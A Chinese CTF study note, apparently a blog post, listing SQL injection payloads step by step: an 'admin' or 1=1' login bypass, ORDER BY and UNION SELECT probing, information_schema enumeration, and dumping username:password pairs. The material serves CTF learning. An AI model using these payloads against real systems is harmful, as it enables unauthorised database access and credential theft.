【CTF】SQL 注入 总结

一、SQL 注入 思路

字段
回显



flag

1.万能密码登陆
2.登陆后,使用联合查询注入
3.爆字段
4.看回显
4.爆数据库
3.爆数据库的表
4.爆出表的列
5.爆出flag

输入框的#,直接使用hackbar地址栏,需将#进行URL编码,即替换为%23

order by 爆字段,到4报错,有4-1,即3个字段

1' order by 1 #
1' order by 2 #
1' order by 3 #
1' order by 4 #

union联合查询判断回显,在哪显示数据,就在哪替换命令

1' union select 1,2,3 #

3

爆库

1' union select 1,2,version() #

VERSION

1' union select 1,2,database() #

DATABASE,DATABASE1

爆库的表

只有一个数据库,省事直接相等

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

多个数据库,选择一个

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='DATABASE'

AAA,BBB,CCC

爆库表的列

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='AAA' #

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='BBB' # 

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='CCC' # 

id,username,password

读取内容,爆flag

1' union select 1,2,group_concat(id,username,password) from AAA #

id,username,password

1' union select 1,2,group_concat(username,0x3a,password) from AAA#

username:password,username:password

精简版

爆字段

1' order by 1 #
1' order by 2 #
1' order by 3 #
1' order by 1 %23
1' order by 2 %23
1' order by 3 %23

看回显

1' union select 1,2,3 #

爆数据库

1' union select 1,database(),version() #

DATABASE,VERSION

5.爆数据库的表

只有一个数据库,省事直接相等

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

多个数据库,选择一个

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='DATABASE'

AAA,BBB,CCC

6.爆出表的列

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='AAA' #

7.读取内容,爆flag

读AAA表

1' union select 1,2,group_concat(id,username,password) from AAA%23&password=1

可以加ASCII码方便区别

1' union select 1,2,group_concat(username,0x40,password) from AAA%23&password=1

二、SQL 注入 类型

三、技巧

万能密码

admin’ or 1=1 #

常见URL编码

#%23

常用ASCII码

0x3a
:
0x40 @

https://www.litefeel.com/tools/ascii.php

四、工具

1、hackbar

快捷键
Ctrl + Enter 执行

2、sqlmap

3、脚本

五、绕过

未完成待补充整理…

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值